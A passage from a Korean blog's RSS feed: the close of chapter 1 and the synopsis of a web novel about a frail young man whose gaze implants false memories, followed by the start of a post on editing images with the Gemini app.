&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 아이러니하게도, 신은 내게 약한 몸을 준 대신 감당하기 힘든 &amp;lsquo;눈&amp;rsquo;을 주었다. 그리고 그 눈은, 나의 고통을 먹고 자라났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 사실을 깨달은 건 고등학교 2학년, 유난히 덥고 습했던 여름날이었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;교실 뒤편, 청소 도구함 옆은 사각지대였다. 점심시간의 소란스러움이 닿지 않는 그곳에서 나는 벽에 등을 기댄 채 서 있었다. 내 앞에는 반에서 가장 덩치가 큰 태수가 삐딱하게 서 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;야, 이한결. 내 말이 안 들리냐?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태수가 내 멱살을 거칠게 잡아챘다. 힘없는 몸이 종이인형처럼 벽에 처박혔다. 컥, 하고 숨이 막혔다. 녀석은 내가 체육 시간에 열외 되는 것을 핑계 삼아, 며칠 전부터 끈질기게 시비를 걸어오고 있었다. 이유는 단순했다. 그냥, 내가 마음에 안 든다는 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;대답을 해, 벙어리 새끼야. 아까 체육 시간에 쌤한테 뭐라고 꼰질렀냐고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아무 말도 안 했어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;거짓말하지 마. 네가 나 쳐다보면서 쑥덕거리는 거 다 봤는데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태수의 얼굴이 붉게 달아올라 있었다. 억지였다. 나는 그저 숨을 고르고 있었을 뿐이다. 하지만 태수 같은 부류에게 진실은 중요하지 않다. 그저 화풀이할 대상이 필요할 뿐.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태수가 주먹을 들어 올렸다. 곧 뺨이나 머리통으로 날아올 궤적이었다. 맞으면 아플 것이다. 어쩌면 코피가 터지고, 며칠은 욱신거리겠지. 그 고통이 상상되자 온몸의 피가 차갑게 식었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 순간, 육체적 고통에 대한 공포가 내 안의 무언가를 건드렸다. 나는 본능적으로 몸을 움츠리는 대신, 고개를 들어 녀석을 똑바로 쳐다봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 순간이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 눈동자 깊은 곳에서 억눌려 있던 무언가가 꿈틀거렸다. 그것은 시신경을 타고 흘러나와, 허공을 가르고 태수의 눈동자 속으로 파고들었다. 시간이 멈춘 듯한 정적. 나는 나도 모르게 속으로 강렬하게 외쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;내가 욕을 한 게 아니야. 욕을 한 건 너야. 너는 지금 나한테 끔찍한 말을 쏟아붓고 있어.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;찰나의 순간, 태수의 눈동자가 초점을 잃고 흐릿해졌다. 마치 카메라 렌즈가 줌을 다시 맞추는 것처럼, 그의 동공이 기이하게 수축했다가 확장되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;어?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태수가 멈칫하며 뒷걸음질 쳤다. 들어 올렸던 손이 허공에서 갈 곳을 잃고 떨렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너&amp;hellip; 너 방금 뭐라고 했어?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태수의 목소리가 떨리고 있었다. 나는 아무 말도 하지 않았다. 입도 뻥긋하지 않았다. 하지만 태수의 얼굴은 공포와 당혹감으로 일그러졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이 미친 새끼가&amp;hellip; 선생님한테 다 말할 거야!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태수는 비명을 지르듯 소리치며 교실 밖으로 뛰쳐나갔다. 복도에 있던 아이들이 놀란 눈으로 그를 쳐다봤고, 이어서 나를 바라봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 그 순간, 심장이 멎는 듯한 통증이 나를 덮쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;크윽&amp;hellip;!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 가슴을 부여잡고 주저앉았다. 시야가 암전되는 것처럼 흐릿해졌다. 능력을 사용한 대가였다. 내 생명력을 갉아먹는 듯한 끔찍한 반동. 나는 벽에 기댄 채, 가쁜 숨을 몰아쉬며 간신히 정신을 붙잡았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;통쾌함은 없었다. 오직 살아남았다는 안도감과, 내 몸을 갉아먹은 능력에 대한 공포만이 남았다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 날, 교무실은 한바탕 소동이 벌어졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;선생님! 진짜라니까요? 한결이 저 녀석이 저한테 패드립을 쳤다니까요? 눈을 부라리면서, 죽여버리겠다고&amp;hellip;!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태수는 억울해서 미치겠다는 표정으로 담임 선생님에게 호소하고 있었다. 하지만 선생님의 표정은 싸늘했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;태수야. 그 자리에 있던 반 아이들한테 다 물어봤어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;애들이 못 들은 거예요! 저 새끼가 작게 속삭였다고요!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;민지랑 준호가 바로 옆에 있었어. 한결이는 숨이 차서 말도 제대로 못 하고 있었고, 오히려 네가 한결이 멱살을 잡으려고 했다던데?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아니, 그게 아니라&amp;hellip;!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태수는 환장하겠다는 듯 머리를 쥐어뜯었다. 그의 기억 속에서 나는 분명 입에 담지 못할 욕설을 퍼붓는 악마였을 것이다. 그 기억은 너무나 선명해서, 그는 현실을 의심조차 하지 못하고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 현실의 나는 침묵했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 고개를 숙인 채, 책상 아래로 떨리는 손을 감췄다. 두려웠다. 태수가 미쳐서 날뛰는 게 두려운 게 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 머릿속의 상상이 타인의 머릿속에서 &amp;lsquo;사실&amp;rsquo;이 되어버렸다는 것. 그리고 그 대가로 내 몸이 부서져 내릴 수도 있다는 것.&lt;br /&gt;그 두 가지 사실이 나를 미치도록 두렵게 만들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;내 눈을 본 사람은&amp;hellip; 내가 원하는 기억을 갖게 된다.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그날 이후, 나는 알게 되었다. 내 눈은 카메라가 아니었다. 내 눈은 편집기였다. 현실이라는 원본 필름을 잘라내고, 내가 원하는 장면을 끼워 넣을 수 있는 위험한 도구.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;교무실을 나오며 태수와 마주쳤다. 녀석은 나를 보자마자 흠칫 놀라며 시선을 피했다. 덩치는 산만 한 녀석이, 약골인 나를 무서워하고 있었다. 아니, 정확히는 내 &amp;lsquo;눈&amp;rsquo;을 피하고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 복도 창문에 비친 내 얼굴을 바라봤다. 창백한 피부, 마른 체구. 그리고 그 속에 박힌 짙은 갈색 눈동자. 겉보기엔 아무런 특징도 없는 평범한 눈이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 나는 알고 있다. 이 눈을 마주치는 순간, 누구든 내 세계의 인질이 된다는 것을.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것은 나를 지키는 방패가 될까, 아니면 나를 고립시키는 저주가 될까.&lt;br /&gt;열여덟의 나는 그 답을 알지 못한 채, 조용히 눈을 감았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세상은 그대로였지만, 나의 세상은 그날 완전히 바뀌어 버렸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;944&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LZ2Qw/dJMcagLgsRy/APn2hKaWwkUPAkG4qNmOX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LZ2Qw/dJMcagLgsRy/APn2hKaWwkUPAkG4qNmOX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LZ2Qw/dJMcagLgsRy/APn2hKaWwkUPAkG4qNmOX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLZ2Qw%2FdJMcagLgsRy%2FAPn2hKaWwkUPAkG4qNmOX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;656&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;944&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 이야기 : &lt;a href=&quot;https://thepin.tistory.com/203&quot;&gt;https://thepin.tistory.com/203&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771421185728&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제2화. 면접의 시선&quot; data-og-description=&quot;제2화. 면접의 시선스물여섯. 대학 졸업장은 땄지만, 내 몸은 여전히 열여덟 그 시절에서 크게 자라지 못한 것 같았다.그랬다. 내 능력은 사람의 기억을 속일 수는 있어도, 시스템의 붕괴를 막지&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/203&quot; data-og-url=&quot;https://thepin.tistory.com/203&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/brHcF8/dJMb8ZvxRLF/mm1IhNvI181Y4prK1gTBEK/img.png?width=800&amp;amp;height=800&amp;amp;face=308_186_710_430,https://scrap.kakaocdn.net/dn/bqBIiA/dJMb8XkbOTo/jGGkAzif3GHtgZt2Fex1V1/img.png?width=800&amp;amp;height=800&amp;amp;face=308_186_710_430,https://scrap.kakaocdn.net/dn/n6SwX/dJMb8UHLBEx/23kmnAMCXs3W8QopeKh1E0/img.png?width=1024&amp;amp;height=947&amp;amp;face=406_227_908_548&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/203&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/203&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/brHcF8/dJMb8ZvxRLF/mm1IhNvI181Y4prK1gTBEK/img.png?width=800&amp;amp;height=800&amp;amp;face=308_186_710_430,https://scrap.kakaocdn.net/dn/bqBIiA/dJMb8XkbOTo/jGGkAzif3GHtgZt2Fex1V1/img.png?width=800&amp;amp;height=800&amp;amp;face=308_186_710_430,https://scrap.kakaocdn.net/dn/n6SwX/dJMb8UHLBEx/23kmnAMCXs3W8QopeKh1E0/img.png?width=1024&amp;amp;height=947&amp;amp;face=406_227_908_548');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제2화. 면접의 시선&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제2화. 면접의 시선스물여섯. 대학 졸업장은 땄지만, 내 몸은 여전히 열여덟 그 시절에서 크게 자라지 못한 것 같았다.그랬다. 내 능력은 사람의 기억을 속일 수는 있어도, 시스템의 붕괴를 막지&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/202</guid>
      <comments>https://thepin.tistory.com/202#entry202comment</comments>
      <pubDate>Wed, 18 Feb 2026 13:47:49 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제0화</title>
      <link>https://thepin.tistory.com/201</link>
      <description>&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;《내 눈을 보면 안 돼》&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;944&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bd4mfD/dJMb99SSWLQ/vdWopgINdSA4iKA93ScD90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bd4mfD/dJMb99SSWLQ/vdWopgINdSA4iKA93ScD90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bd4mfD/dJMb99SSWLQ/vdWopgINdSA4iKA93ScD90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbd4mfD%2FdJMb99SSWLQ%2FvdWopgINdSA4iKA93ScD90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;459&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;944&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  로그라인(Logline)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;눈을 마주치면, 기억이 바뀐다.&lt;/b&gt;&lt;br /&gt;그러나 진짜 세상은 &amp;lsquo;기억 조작&amp;rsquo;으로는 바꿀 수 없었다.&lt;br /&gt;능력을 버린 한 남자가, 직장에서 &amp;lsquo;진짜 신뢰&amp;rsquo;와 &amp;lsquo;리더십&amp;rsquo;을 배워가는 초현실 성장 드라마.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  작품 소개 (시놉시스)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;약한 체력, 강한 정신.&lt;br /&gt;그리고 &amp;lsquo;눈을 본 사람에게 행동의 기억을 심는&amp;rsquo; 이상한 능력.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사에 입사한 신입 QA &lt;b&gt;한결&lt;/b&gt;은 이 능력으로 불리한 상황을 슬기롭게 피해가며 살아남는다.&lt;br /&gt;무례한 면접관, 억지 회의, 불합리한 지시&amp;hellip; 단 한 번 눈을 바라보면 상황은 바뀐다.&lt;br /&gt;그는 누구보다 완벽한 신입처럼 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 그 완벽함이, 서서히 독이 되어 돌아온다.&lt;br /&gt;&amp;ldquo;그 사람의 눈빛을 보면, 내가 잘못한 걸 믿게 돼.&amp;rdquo;&lt;br /&gt;소문이 퍼지고, 사람들은 그를 피하기 시작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오해와 고립 속에서 한결은 깨닫는다.&lt;br /&gt;&amp;lsquo;진짜 힘은 남을 바꾸는 게 아니라, 함께 바뀌는 거구나.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그날 이후, 그는 능력을 봉인하고 &lt;b&gt;신뢰로 사람을 움직이는 법&lt;/b&gt;을 배워간다.&lt;br /&gt;데이터와 논리, 그리고 따뜻한 리더십으로 위기를 돌파하며,&lt;br /&gt;&amp;ldquo;눈빛으로만 움직이던 팀&amp;rdquo;을 &amp;ldquo;마음으로 움직이는 팀&amp;rdquo;으로 바꿔 나간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막 회의실에서,&lt;br /&gt;그의 눈엔 더 이상 보라색 빛이 없다.&lt;br /&gt;대신, 사람을 믿는 빛이 피어난다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  장르 / 태그&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장르: 현대판 초능력 &amp;times; 오피스 성장 드라마&lt;/li&gt;
&lt;li&gt;키워드: 기억조작, 리더십, 직장인간관계, 능력봉인, 신뢰성장, 현실과초현실의경계, 이한결, 내눈을보면안돼&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 &amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/202&quot;&gt;https://thepin.tistory.com/202&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771421778521&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제1화. 눈의 기억&quot; data-og-description=&quot;제1화. 눈의 기억쿵. 쿵. 쿵.심장이 멋대로 날뛰었다. 폐가 찢어질 것 같았다.운동장 트랙을 반 바퀴도 채 돌지 못했는데, 목구멍에서 비릿한 쇠 맛이 났다. 아이들의 함성 소리가 아득하게 멀어&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/202&quot; data-og-url=&quot;https://thepin.tistory.com/202&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/hbaU9/dJMb8QeiDtD/VgedSDBBFZhK7ec9OVakn0/img.png?width=800&amp;amp;height=800&amp;amp;face=352_148_423_225,https://scrap.kakaocdn.net/dn/bb822I/dJMb8RROk4G/KfiuVLfxh5DFKsYGThmkV0/img.png?width=800&amp;amp;height=800&amp;amp;face=352_148_423_225,https://scrap.kakaocdn.net/dn/dQoP0D/dJMb8ZvxRLq/ZHDdsCOMHwaisJiotUPdU0/img.png?width=1024&amp;amp;height=944&amp;amp;face=451_187_543_287&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/202&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/202&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/hbaU9/dJMb8QeiDtD/VgedSDBBFZhK7ec9OVakn0/img.png?width=800&amp;amp;height=800&amp;amp;face=352_148_423_225,https://scrap.kakaocdn.net/dn/bb822I/dJMb8RROk4G/KfiuVLfxh5DFKsYGThmkV0/img.png?width=800&amp;amp;height=800&amp;amp;face=352_148_423_225,https://scrap.kakaocdn.net/dn/dQoP0D/dJMb8ZvxRLq/ZHDdsCOMHwaisJiotUPdU0/img.png?width=1024&amp;amp;height=944&amp;amp;face=451_187_543_287');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제1화. 눈의 기억&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제1화. 눈의 기억쿵. 쿵. 쿵.심장이 멋대로 날뛰었다. 폐가 찢어질 것 같았다.운동장 트랙을 반 바퀴도 채 돌지 못했는데, 목구멍에서 비릿한 쇠 맛이 났다. 아이들의 함성 소리가 아득하게 멀어&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/201</guid>
      <comments>https://thepin.tistory.com/201#entry201comment</comments>
      <pubDate>Wed, 18 Feb 2026 13:45:39 +0900</pubDate>
    </item>
    <item>
      <title>제미나이 앱으로 이미지 간단히 바꾸기</title>
      <link>https://thepin.tistory.com/200</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;나노바바나 제미나이 앱으로 이미지 간단히 바꾸기&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수노에서 다운 받은 이미지는 플레이버튼과 없애달라고 했다.&amp;nbsp;&lt;br /&gt;1. &quot;이미지의 원래 배경외 아래 플레이버튼 스테이타스바 오른쪽 유튜브 바를 지워서 배경만 보이게 해줘&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;898&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9DQB6/dJMcacIJIM0/IRNLAxpahKMjdfACKAk0Q0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9DQB6/dJMcacIJIM0/IRNLAxpahKMjdfACKAk0Q0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9DQB6/dJMcacIJIM0/IRNLAxpahKMjdfACKAk0Q0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9DQB6%2FdJMcacIJIM0%2FIRNLAxpahKMjdfACKAk0Q0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;438&quot; height=&quot;390&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;898&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘 나왔는데 앗 첫줄이 그대로.&amp;nbsp; 역시 잘 집어야 되는 군&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3050&quot; data-origin-height=&quot;1714&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PVK19/dJMcacvcAOR/rI5hXVLAhd0Ruxp4SPVWA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PVK19/dJMcacvcAOR/rI5hXVLAhd0Ruxp4SPVWA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PVK19/dJMcacvcAOR/rI5hXVLAhd0Ruxp4SPVWA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPVK19%2FdJMcacvcAOR%2FrI5hXVLAhd0Ruxp4SPVWA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;782&quot; height=&quot;439&quot; data-origin-width=&quot;3050&quot; data-origin-height=&quot;1714&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &quot;상단 시계와 와이파이 등 상태바도 지워&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2738&quot; data-origin-height=&quot;1662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w2RrF/dJMcagdh77m/muPceOBjVFwFKS7nPjNso1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w2RrF/dJMcagdh77m/muPceOBjVFwFKS7nPjNso1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w2RrF/dJMcagdh77m/muPceOBjVFwFKS7nPjNso1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw2RrF%2FdJMcagdh77m%2FmuPceOBjVFwFKS7nPjNso1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;466&quot; data-origin-width=&quot;2738&quot; data-origin-height=&quot;1662&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. &quot;네온 사인 적색에서 보라색으로 바꿔서 벽과 바닥에 비치는 것도 보라색으로 그리고 날씨는 흐림에서 맑은 밤하늘로 바꿔줘&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2664&quot; data-origin-height=&quot;1662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dGAEsw/dJMcacPvw4u/BGtuBkwD610wg6b1vxLNu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dGAEsw/dJMcacPvw4u/BGtuBkwD610wg6b1vxLNu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dGAEsw/dJMcacPvw4u/BGtuBkwD610wg6b1vxLNu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdGAEsw%2FdJMcacPvw4u%2FBGtuBkwD610wg6b1vxLNu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; 